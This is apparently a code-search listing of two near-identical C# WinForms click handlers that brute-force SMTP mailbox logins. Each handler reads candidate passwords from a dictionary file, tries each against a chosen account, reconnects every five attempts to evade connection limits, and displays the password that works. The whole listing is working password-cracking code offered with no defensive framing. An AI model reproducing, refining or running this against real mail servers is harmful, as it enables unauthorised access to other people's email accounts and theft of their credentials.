示例#1
0
文件: Form1.cs 项目: rambom/Source
        private void btnRun_Click(object sender, EventArgs e)
        {
            if ("".Equals(txtSmtp.Text.Trim()))
            {
                MessageBox.Show("服务地址不能为空!");
            }
            else if ("".Equals(txtMail.Text.Trim()))
            {
                MessageBox.Show("用户名不能为空!");
            }

            else if (!File.Exists(txtDict.Text))
            {
                MessageBox.Show("字典文件不存在!");
            }
            else
            {
                bool         blnFlag = false;
                string[]     strPwd;
                FileStream   fs   = null;
                StreamReader sr   = null;
                MyMail       mail = new MyMail(txtSmtp.Text);
                int          i    = 0;
                if (mail.Connect())
                {
                    fs = new FileStream(txtDict.Text, FileMode.Open, FileAccess.Read, FileShare.Read);
                    sr = new StreamReader(fs);
                    while (!sr.EndOfStream)
                    {
                        i++;
                        if (i > 5)
                        {
                            i = 0;
                            mail.DisConnect();
                            mail.Connect();
                        }
                        string strPass = sr.ReadLine();
                        if (mail.ValidateLogin(txtMail.Text, strPass) == 0)
                        {
                            blnFlag = true;
                            MessageBox.Show(string.Format("正确密码是:{0}", strPass));
                            break;
                        }
                    }
                }
                else
                {
                    MessageBox.Show("连接服务器失败!");
                }
                mail.DisConnect();
                mail = null;
                if (!blnFlag)
                {
                    MessageBox.Show("未找到密码!");
                }
                sr.Close();
                sr.Dispose();
                fs.Close();
                fs.Dispose();
                GC.Collect();
            }
        }
示例#2
0
文件: Form1.cs 项目: Nacro8/xiaobier
        private void btnRun_Click(object sender, EventArgs e)
        {
            if ("".Equals(txtSmtp.Text.Trim()))
            {
                MessageBox.Show("服务地址不能为空!");
            }
            else if ("".Equals(txtMail.Text.Trim()))
            {
                MessageBox.Show("用户名不能为空!");
            }

            else if (!File.Exists(txtDict.Text))
            {
                MessageBox.Show("字典文件不存在!");
            }
            else
            {
                bool blnFlag = false;
                string[] strPwd;
                FileStream fs = null;
                StreamReader sr = null;
                MyMail mail = new MyMail(txtSmtp.Text);
                int i = 0;
                if (mail.Connect())
                {
                    fs = new FileStream(txtDict.Text, FileMode.Open, FileAccess.Read, FileShare.Read);
                    sr = new StreamReader(fs);
                    while (!sr.EndOfStream)
                    {
                        i++;
                        if (i > 5)
                        {
                            i = 0;
                            mail.DisConnect();
                            mail.Connect();
                        }
                        string strPass = sr.ReadLine();
                        if (mail.ValidateLogin(txtMail.Text, strPass) == 0)
                        {
                            blnFlag = true;
                            MessageBox.Show(string.Format("正确密码是:{0}", strPass));
                            break;
                        }
                    }
                }
                else
                {
                    MessageBox.Show("连接服务器失败!");
                }
                mail.DisConnect();
                mail = null;
                if (!blnFlag)
                {
                    MessageBox.Show("未找到密码!");
                }
                sr.Close();
                sr.Dispose();
                fs.Close();
                fs.Dispose();
                GC.Collect();
            }
        }